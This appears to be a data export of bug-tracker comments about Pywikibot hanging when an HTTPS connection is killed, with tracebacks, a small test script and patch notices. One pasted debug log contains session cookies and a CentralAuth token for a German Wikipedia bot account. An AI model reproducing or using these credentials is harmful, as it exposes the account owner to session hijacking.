https://gerrit.wikimedia.org/r/110853",,,1391349757,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,False,,,-74,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.478260869565218,1.0,"Change 110853 had a related patch set uploaded by Merlijn van Deen:
(bug 55127) Implement network timeouts

GERRIT_URL"
264287,core hangs on killed http(s) connection,"I tried this on _windows_ but I didn't got it hanging:

Traceback (most recent call last):
  File ""<pyshell#4>"", line 1, in <module>
    resp, content = h.request(""https://en.wikipedia.org/"", ""GET"")
  File ""C:\Pywikipedia\ssh\pywikibot\core\externals\httplib2\python2\httplib2\__init__.py"", line 1591, in request
    (response, content) = self._request(conn, authority, uri, request_uri, method, body, headers, redirections, cachekey)
  File ""C:\Pywikipedia\ssh\pywikibot\core\externals\httplib2\python2\httplib2\__init__.py"", line 1333, in _request
    (response, content) = self._conn_request(conn, request_uri, method, body, headers)
  File ""C:\Pywikipedia\ssh\pywikibot\core\externals\httplib2\python2\httplib2\__init__.py"", line 1289, in _conn_request
    response = conn.getresponse()
  File ""C:\Python27\lib\httplib.py"", line 1030, in getresponse
    response.begin()
  File ""C:\Python27\lib\httplib.py"", line 407, in begin
    version, status, reason = self._read_status()
  File ""C:\Python27\lib\httplib.py"", line 365, in _read_status
    line = self.fp.readline()
  File ""C:\Python27\lib\socket.py"", line 430, in readline
    data = recv(1)
  File ""C:\Python27\lib\ssl.py"", line 241, in recv
    return self.read(buflen)
  File ""C:\Python27\lib\ssl.py"", line 160, in read
    return self._sslobj.read(len)
error: [Errno 10060] Ein Verbindungsversuch ist fehlgeschlagen, da die Gegenstelle nach einer bestimmten Zeitspanne nicht richtig reagiert hat, oder die hergestellte Verbindung war fehlerhaft, da der verbundene Host nicht reagiert hat",,,1391334920,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,True,,,-74,True,0.0,0.0,0.0,0.0,0.3333333333333333,2.6666666666666665,0.0,0.0,0.0,0.0,3.3333333333333335,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,4.666666666666667,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.666666666666666,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,4.333333333333333,0.0,1.0,4.666666666666667,16.333333333333332,0.0,7.666666666666667,0.0,1.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,1.6666666666666667,5.196545984186433,0.5281731169371618,"I tried this on _windows_ but I didn't got it hanging:

Traceback (most recent call last):
  File ""<pyshell#4>"", line 1, in <module>
    resp, content = h.request(""URL ""GET"")
  File ""C:\Pywikipedia\ssh\pywikibot\core\externals\httplib2\python2\httplib2\__init__.py"", line 1591, in request
    (response, content) = self._request(conn, authority, uri, request_uri, method, body, headers, redirections, cachekey)
  File ""C:\Pywikipedia\ssh\pywikibot\core\externals\httplib2\python2\httplib2\__init__.py"", line 1333, in _request
    (response, content) = self._conn_request(conn, request_uri, method, body, headers)
  File ""C:\Pywikipedia\ssh\pywikibot\core\externals\httplib2\python2\httplib2\__init__.py"", line 1289, in _conn_request
    response = conn.getresponse()
  File ""C:\Python27\lib\httplib.py"", line 1030, in getresponse
    response.begin()
  File ""C:\Python27\lib\httplib.py"", line 407, in begin
    version, status, reason = self._read_status()
  File ""C:\Python27\lib\httplib.py"", line 365, in _read_status
    line = self.fp.readline()
  File ""C:\Python27\lib\socket.py"", line 430, in readline
    data = recv(1)
  File ""C:\Python27\lib\ssl.py"", line 241, in recv
    return self.read(buflen)
  File ""C:\Python27\lib\ssl.py"", line 160, in read
    return self._sslobj.read(len)
error: [Errno 10060] Ein Verbindungsversuch ist fehlgeschlagen, da die Gegenstelle nach einer bestimmten Zeitspanne nicht richtig reagiert hat, oder die hergestellte Verbindung war fehlerhaft, da der verbundene Host nicht reagiert hat"
264282,core hangs on killed http(s) connection,"Minimal test case for the SSL issue:

import httplib2

h = httplib2.Http()
resp, content = h.request(""https://en.wikipedia.org/"", ""GET"")
raw_input(""kill the connection..."")
resp, content = h.request(""https://en.wikipedia.org/"", ""GET"")
print ""done""


So there are three issues:
 - A connection can hang indefinitely if the connection is killed. There should be some timeout for receiving some data here.
 - The framework does not respond to ctrl-c when a thread doesn't return. This can be solved by changing pywikibot/comms/http.py to be non-blocking (e.g. in a loop with a 100ms time.sleep)
 - Threads do not receive KeyboardInterrupts (which is OK!) but this means a non-returning call will hang forever (i.e. will not be killed when python exits)

Amirs solution might be useful for the last issue, but I'm not 100% sure about that. I think I'd rather hook the atexit handler to kill all processing threads. Maybe we can also start threads as daemons, which should kill them automatically when the main thread exits...",,,1391290884,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,True,,,-74,True,1.0,0.0,0.0,1.0,2.0,5.333333333333333,1.3333333333333333,0.0,0.0,0.3333333333333333,1.6666666666666667,1.3333333333333333,0.0,0.0,0.6666666666666666,2.0,0.3333333333333333,7.0,5.666666666666667,0.0,1.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,1.6666666666666667,1.3333333333333333,0.0,4.333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,1.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,11.0,1.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,4.333333333333333,3.0,6.333333333333333,1.6666666666666667,0.6666666666666666,7.333333333333333,0.0,0.0,0.3333333333333333,0.0,6.333333333333333,0.0,0.6666666666666666,0.0,2.3333333333333335,5.666666666666667,3.0,0.0,2.3333333333333335,0.0,2.3333333333333335,0.0,2.0,1.6666666666666667,0.3333333333333333,1.0,0.0,0.0,0.6666666666666666,3.8694574856546686,0.7387193531559729,"Minimal test case for the SSL issue:

import httplib2

h = httplib2.Http()
resp, content = h.request(""URL ""GET"")
raw_input(""kill the connection..."")
resp, content = h.request(""URL ""GET"")
print ""done""


So there are three issues:
 - A connection can hang indefinitely if the connection is killed. There should be some timeout for receiving some data here.
 - The framework does not respond to ctrl-c when a thread doesn't return. This can be solved by changing pywikibot/comms/http.py to be non-blocking (e.g. in a loop with a 100ms time.sleep)
 - Threads do not receive KeyboardInterrupts (which is OK!) but this means a non-returning call will hang forever (i.e. will not be killed when python exits)

Amirs solution might be useful for the last issue, but I'm not 100% sure about that. I think I'd rather hook the atexit handler to kill all processing threads. Maybe we can also start threads as daemons, which should kill them automatically when the main thread exits..."
264275,core hangs on killed http(s) connection,"Change 108325 had a related patch set uploaded by Ladsgroup:
[BUGFIX] fixing bug 55127

https://gerrit.wikimedia.org/r/108325",,,1390135742,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,False,,,-76,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,4.3,1.0,"Change 108325 had a related patch set uploaded by Ladsgroup:
[BUGFIX] fixing bug 55127

GERRIT_URL"
264269,core hangs on killed http(s) connection,"Here are the last log entries before the bot hanged:

2013-11-20 05:50:37             api.py,  685 in           __iter__: DEBUG    PropertyGenerator received [u'7165976']; limit=-1
2013-11-20 05:50:51 vm-auto-erl-neu.py,   79 in             output: INFO     >> 05:50:51: 
2013-11-20 05:50:51    threadedhttp.py,   97 in     pop_connection: DEBUG    Retrieved connection from 'https:de.wikipedia.org' pool.
2013-11-20 05:50:51    threadedhttp.py,  215 in            request: DEBUG    ('https://de.wikipedia.org/w/api.php', 'POST', 'maxlag=5000&format=json&bkprop=user%7Cby%7Ctimestamp%7Cexpiry%7Creason&list=blocks&bkusers=&meta=userinfo&action=query&bkend=20131120005959&uiprop=blockinfo%7Chasmsg', {'cookie': 'centralauth_Token=8c1df3ec61f7a92677f4c0b561c30585; centralauth_User=Xqbot; forceHTTPS=1; forceHTTPS=true; dewikiUserName=Xqbot; dewikiSession=3144518b40881659814792e3c0fc34cc; dewikiUserID=627628', 'connection': 'keep-alive', 'Content-Type': 'application/x-www-form-urlencoded', 'user-agent': 'pwb/r-1 (unknown) Pywikipediabot/2.0'}, 5, None)
2013-11-20 05:50:51             api.py,  308 in             submit: DEBUG    API response received:
{""query"":{""blocks"":[],""userinfo"":{""id"":627628,""name"":""Xqbot""}}}
2013-11-20 05:50:51             api.py,  611 in       update_limit: DEBUG    PropertyGenerator: Set query_limit to 5000.
2013-11-20 05:50:51    threadedhttp.py,   97 in     pop_connection: DEBUG    Retrieved connection from 'https:de.wikipedia.org' pool.
2013-11-20 05:50:51    threadedhttp.py,  215 in            request: DEBUG    ('https://de.wikipedia.org/w/api.php', 'POST', 'maxlag=5000&format=json&rvprop=ids%7Cflags%7Ctimestamp%7Cuser%7Ccomment%7Ccontent&prop=info%7Crevisions&titles=Wikipedia%3AVandalismusmeldung&meta=userinfo&indexpageids=&action=query&uiprop=blockinfo%7Chasmsg', {'cookie': 'centralauth_Token=8c1df3ec61f7a92677f4c0b561c30585; centralauth_User=Xqbot; forceHTTPS=1; forceHTTPS=true; dewikiUserName=Xqbot; dewikiSession=3144518b40881659814792e3c0fc34cc; dewikiUserID=627628', 'connection': 'keep-alive', 'Content-Type': 'application/x-www-form-urlencoded', 'user-agent': 'pwb/r-1 (unknown) Pywikipediabot/2.0'}, 5, None)",,,1384929111,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,True,,,-85,True,0.0,0.0,0.0,0.0,0.0,2.2,0.2,0.0,0.0,0.0,1.6,10.2,0.0,0.0,0.0,0.0,0.0,0.2,2.4,0.4,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.8,0.0,0.0,0.2,0.0,0.0,0.0,0.4,0.4,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.4,0.0,0.0,0.0,0.0,0.0,0.2,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.4,0.2,6.6,0.0,0.0,0.4,0.0,0.0,0.0,0.0,0.6,0.0,8.6,0.0,0.0,2.4,8.6,0.0,10.6,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.8,4.828244504667269,0.5524540800963564,"Here are the last log entries before the bot hanged:

2013-11-20 05:50:37             api.py,  685 in           __iter__: DEBUG    PropertyGenerator received [u'7165976']; limit=-1
2013-11-20 05:50:51 vm-auto-erl-neu.py,   79 in             output: INFO     >> 05:50:51: 
2013-11-20 05:50:51    threadedhttp.py,   97 in     pop_connection: DEBUG    Retrieved connection from 'https:de.wikipedia.org' pool.
2013-11-20 05:50:51    threadedhttp.py,  215 in            request: DEBUG    ('URL 'POST', 'maxlag=5000&format=json&bkprop=user%7Cby%7Ctimestamp%7Cexpiry%7Creason&list=blocks&bkusers=&meta=userinfo&action=query&bkend=20131120005959&uiprop=blockinfo%7Chasmsg', {'cookie': 'centralauth_Token=8c1df3ec61f7a92677f4c0b561c30585; centralauth_User=Xqbot; forceHTTPS=1; forceHTTPS=true; dewikiUserName=Xqbot; dewikiSession=3144518b40881659814792e3c0fc34cc; dewikiUserID=627628', 'connection': 'keep-alive', 'Content-Type': 'application/x-www-form-urlencoded', 'user-agent': 'pwb/r-1 (unknown) Pywikipediabot/2.0'}, 5, None)
2013-11-20 05:50:51             api.py,  308 in             submit: DEBUG    API response received:
{""query"":{""blocks"":[],""userinfo"":{""id"":627628,""name"":""Xqbot""}}}
2013-11-20 05:50:51             api.py,  611 in       update_limit: DEBUG    PropertyGenerator: Set query_limit to 5000.
2013-11-20 05:50:51    threadedhttp.py,   97 in     pop_connection: DEBUG    Retrieved connection from 'https:de.wikipedia.org' pool.
2013-11-20 05:50:51    threadedhttp.py,  215 in            request: DEBUG    ('URL 'POST', 'maxlag=5000&format=json&rvprop=ids%7Cflags%7Ctimestamp%7Cuser%7Ccomment%7Ccontent&prop=info%7Crevisions&titles=Wikipedia%3AVandalismusmeldung&meta=userinfo&indexpageids=&action=query&uiprop=blockinfo%7Chasmsg', {'cookie': 'centralauth_Token=8c1df3ec61f7a92677f4c0b561c30585; centralauth_User=Xqbot; forceHTTPS=1; forceHTTPS=true; dewikiUserName=Xqbot; dewikiSession=3144518b40881659814792e3c0fc34cc; dewikiUserID=627628', 'connection': 'keep-alive', 'Content-Type': 'application/x-www-form-urlencoded', 'user-agent': 'pwb/r-1 (unknown) Pywikipediabot/2.0'}, 5, None)"
264263,core hangs on killed http(s) connection,Yes my bug depends on a killed internet connection while my router was off for 20 seconds!,,,1382718207,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,True,,,-88,True,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,22.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.111111111111111,0.9444444444444444,Yes my bug depends on a killed internet connection while my router was off for 20 seconds!
264256,core hangs on killed http(s) connection,"Additional comment:
pwb.py version

Pywikibot: pywikibot/__init__.py (r-1 (unknown), ???????, 2013/09/21, 15:53:03,
OUTDATED)
Release version: 2.0b1
Python: 2.7.3 (default, Apr 10 2012, 23:24:47) [MSC v.1500 64 bit (AMD64)]
unicode test: ok",,,1382365689,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,True,,,-89,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,13.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.4444444444444446,0.5873015873015873,"Additional comment:
pwb.py version

Pywikibot: pywikibot/__init__.py (r-1 (unknown), ???????, 2013/09/21, 15:53:03,
OUTDATED)
Release version: 2.0b1
Python: 2.7.3 (default, Apr 10 2012, 23:24:47) [MSC v.1500 64 bit (AMD64)]
unicode test: ok"
264247,core hangs on killed http(s) connection,"I do not know whether this is similar this bug reported above and am unable to investigate the reason of that bug. I only found the last output where the bot checks a wiki page every 15 seconds:


defendant: Textkontrolle accuser: Neozoon time: 2013 Okt 20 21:26
>> 05:20:37:

defendant: Textkontrolle accuser: Neozoon time: 2013 Okt 20 21:26
>> 05:20:54:

...
a lot of lines deleted
...
>> 05:42:19:
>> 05:42:33:
...
>> 05:53:41:
>> 05:53:55:
>> 05:54:10:
>> 05:54:24:
>> 05:54:38:
>> 05:54:53:
>> 05:55:07:
>> 05:55:21:

now it stops, CTL-C does not work, I have to kill the process via task manager.
I checked my router and found it had an autoreset of the internet connection 5 minutes before 6 a.m. this morning and I guess this was also yesterday. On the other hand the same bot worked well the three days before.",,,1382365503,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,True,,,-89,True,0.5,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,3.5,0.0,4.5,5.0,0.0,1.0,0.0,0.0,0.0,3.5,0.0,0.0,0.5,0.0,0.0,0.0,4.5,4.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,1.0,0.0,0.0,0.0,17.5,1.0,1.5,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,1.0,0.0,1.0,0.5,0.0,0.0,6.0,1.5,14.5,1.0,1.5,9.5,0.0,0.0,0.0,0.0,2.0,0.5,5.5,0.0,4.5,5.0,9.0,0.0,0.0,0.0,4.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,3.708333333333333,0.6369047619047619,"I do not know whether this is similar this bug reported above and am unable to investigate the reason of that bug. I only found the last output where the bot checks a wiki page every 15 seconds:


defendant: Textkontrolle accuser: Neozoon time: 2013 Okt 20 21:26
QUOTE

defendant: Textkontrolle accuser: Neozoon time: 2013 Okt 20 21:26
QUOTE

...
a lot of lines deleted
...
QUOTE
QUOTE
...
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

now it stops, CTL-C does not work, I have to kill the process via task manager.
I checked my router and found it had an autoreset of the internet connection 5 minutes before 6 a.m. this morning and I guess this was also yesterday. On the other hand the same bot worked well the three days before."
264238,core hangs on killed http(s) connection,- **Group**: confirmed --> rewrite,,,1380947353,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,True,,,-91,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.727272727272727,0.7272727272727273,- **Group**: confirmed --> rewrite
264231,core hangs on killed http(s) connection,Works without any issues in windows - could be either related to linux (v. windows) or killing the connection locally or upstream (the original was run from a VM). Reducing priority.,,,1380947351,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,True,,,-91,True,3.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,8.0,0.0,8.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,4.108108108108108,0.8378378378378378,Works without any issues in windows - could be either related to linux (v. windows) or killing the connection locally or upstream (the original was run from a VM). Reducing priority.
264227,core hangs on killed http(s) connection,- **Priority**: 5 --> 2,,,1380947350,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,True,,,-91,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.7272727272727273,0.7272727272727273,- **Priority**: 5 --> 2
264221,core hangs on killed http(s) connection,"Stack trace during hang:

*** STACKTRACE - START ***


# ThreadID: 140208457426688
File: ""/usr/lib/python2.7/threading.py"", line 524, in __bootstrap
  self.__bootstrap_inner()
File: ""/usr/lib/python2.7/threading.py"", line 551, in __bootstrap_inner
  self.run()
File: ""connectionkilltest.py"", line 16, in run
  for filename, lineno, name, line in traceback.extract_stack(stack):

# ThreadID: 140208472311552
File: ""/usr/lib/python2.7/threading.py"", line 524, in __bootstrap
  self.__bootstrap_inner()
File: ""/usr/lib/python2.7/threading.py"", line 551, in __bootstrap_inner
  self.run()
File: ""pywikibot/comms/threadedhttp.py"", line 343, in run
  item.data = self.http.request(*item.args, **item.kwargs)
File: ""pywikibot/comms/threadedhttp.py"", line 219, in request
  max_redirects, connection_type
File: ""/usr/lib/python2.7/dist-packages/httplib2/__init__.py"", line 1444, in request
  (response, content) = self._request(conn, authority, uri, request_uri, method, body, headers, redirections, cachekey)
File: ""/usr/lib/python2.7/dist-packages/httplib2/__init__.py"", line 1196, in _request
  (response, content) = self._conn_request(conn, request_uri, method, body, headers)
File: ""/usr/lib/python2.7/dist-packages/httplib2/__init__.py"", line 1166, in _conn_request
  response = conn.getresponse()
File: ""/usr/lib/python2.7/httplib.py"", line 1030, in getresponse
  response.begin()
File: ""/usr/lib/python2.7/httplib.py"", line 407, in begin
  version, status, reason = self._read_status()
File: ""/usr/lib/python2.7/httplib.py"", line 365, in _read_status
  line = self.fp.readline()
File: ""/usr/lib/python2.7/socket.py"", line 430, in readline
  data = recv(1)
File: ""/usr/lib/python2.7/ssl.py"", line 241, in recv
  return self.read(buflen)
File: ""/usr/lib/python2.7/ssl.py"", line 160, in read
  return self._sslobj.read(len)

# ThreadID: 140208510514944
File: ""pwb.py"", line 103, in <module>
  run_python_file(fn, args)
File: ""pwb.py"", line 49, in run_python_file
  exec compile(source, filename, ""exec"") in main_mod.__dict__
File: ""connectionkilltest.py"", line 36, in <module>
  p.put_async('test edit')
File: ""pywikibot/page.py"", line 887, in put_async
  async=True, callback=callback, **kwargs)
File: ""pywikibot/page.py"", line 872, in put
  async=async, callback=callback, **kwargs)
File: ""pywikibot/page.py"", line 782, in save
  if not force and not self.botMayEdit():
File: ""pywikibot/page.py"", line 710, in botMayEdit
  username = self.site.user()
File: ""pywikibot/site.py"", line 206, in user
  if self.logged_in(True):
File: ""pywikibot/site.py"", line 842, in logged_in
  if sysop and 'sysop' not in self.userinfo['groups']:
File: ""pywikibot/site.py"", line 910, in getuserinfo
  uidata = uirequest.submit()
File: ""pywikibot/data/api.py"", line 284, in submit
  body=paramstring)
File: ""pywikibot/comms/http.py"", line 118, in request
  request.lock.acquire()
File: ""/usr/lib/python2.7/threading.py"", line 323, in acquire
  self.__cond.wait()
File: ""/usr/lib/python2.7/threading.py"", line 243, in wait
  waiter.acquire()

*** STACKTRACE - END ***


So: probably not a deadlock, just the ssl library hanging.",,,1380947348,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c3,1,True,,,-91,True,0.0,0.0,0.0,0.0,0.5,1.125,0.0,0.0,0.0,0.375,4.125,0.5,0.0,0.0,0.0,0.0,0.125,0.875,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.125,0.0,0.125,0.0,0.125,0.0,0.0,0.0,0.625,0.5,0.0,0.0,0.0,0.375,0.0,0.0,0.0,0.0,0.0,25.125,0.0,0.0,0.0,0.125,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,5.0,0.375,0.25,0.375,0.0,0.0,0.0,0.375,0.0,0.0,4.875,0.0,0.25,5.0,6.0,0.0,8.25,0.0,0.25,0.0,0.0,0.125,0.0,0.125,0.25,0.25,2.25,3.6323309626881057,0.40366676973819826,"Stack trace during hang:

*** STACKTRACE - START ***


# ThreadID: 140208457426688
File: ""/usr/lib/python2.7/threading.py"", line 524, in __bootstrap
  self.__bootstrap_inner()
File: ""/usr/lib/python2.7/threading.py"", line 551, in __bootstrap_inner
  self.run()
File: ""connectionkilltest.py"", line 16, in run
  for filename, lineno, name, line in traceback.extract_stack(stack):

# ThreadID: 140208472311552
File: ""/usr/lib/python2.7/threading.py"", line 524, in __bootstrap
  self.__bootstrap_inner()
File: ""/usr/lib/python2.7/threading.py"", line 551, in __bootstrap_inner
  self.run()
File: ""pywikibot/comms/threadedhttp.py"", line 343, in run
  item.data = self.http.request(*item.args, **item.kwargs)
File: ""pywikibot/comms/threadedhttp.py"", line 219, in request
  max_redirects, connection_type
File: ""/usr/lib/python2.7/dist-packages/httplib2/__init__.py"", line 1444, in request
  (response, content) = self._request(conn, authority, uri, request_uri, method, body, headers, redirections, cachekey)
File: ""/usr/lib/python2.7/dist-packages/httplib2/__init__.py"", line 1196, in _request
  (response, content) = self._conn_request(conn, request_uri, method, body, headers)
File: ""/usr/lib/python2.7/dist-packages/httplib2/__init__.py"", line 1166, in _conn_request
  response = conn.getresponse()
File: ""/usr/lib/python2.7/httplib.py"", line 1030, in getresponse
  response.begin()
File: ""/usr/lib/python2.7/httplib.py"", line 407, in begin
  version, status, reason = self._read_status()
File: ""/usr/lib/python2.7/httplib.py"", line 365, in _read_status
  line = self.fp.readline()
File: ""/usr/lib/python2.7/socket.py"", line 430, in readline
  data = recv(1)
File: ""/usr/lib/python2.7/ssl.py"", line 241, in recv
  return self.read(buflen)
File: ""/usr/lib/python2.7/ssl.py"", line 160, in read
  return self._sslobj.read(len)

# ThreadID: 140208510514944
File: ""pwb.py"", line 103, in <module>
  run_python_file(fn, args)
File: ""pwb.py"", line 49, in run_python_file
  exec compile(source, filename, ""exec"") in main_mod.__dict__
File: ""connectionkilltest.py"", line 36, in <module>
  p.put_async('test edit')
File: ""pywikibot/page.py"", line 887, in put_async
  async=True, callback=callback, **kwargs)
File: ""pywikibot/page.py"", line 872, in put
  async=async, callback=callback, **kwargs)
File: ""pywikibot/page.py"", line 782, in save
  if not force and not self.botMayEdit():
File: ""pywikibot/page.py"", line 710, in botMayEdit
  username = self.site.user()
File: ""pywikibot/site.py"", line 206, in user
  if self.logged_in(True):
File: ""pywikibot/site.py"", line 842, in logged_in
  if sysop and 'sysop' not in self.userinfo['groups']:
File: ""pywikibot/site.py"", line 910, in getuserinfo
  uidata = uirequest.submit()
File: ""pywikibot/data/api.py"", line 284, in submit
  body=paramstring)
File: ""pywikibot/comms/http.py"", line 118, in request
  request.lock.acquire()
File: ""/usr/lib/python2.7/threading.py"", line 323, in acquire
  self.__cond.wait()
File: ""/usr/lib/python2.7/threading.py"", line 243, in wait
  waiter.acquire()

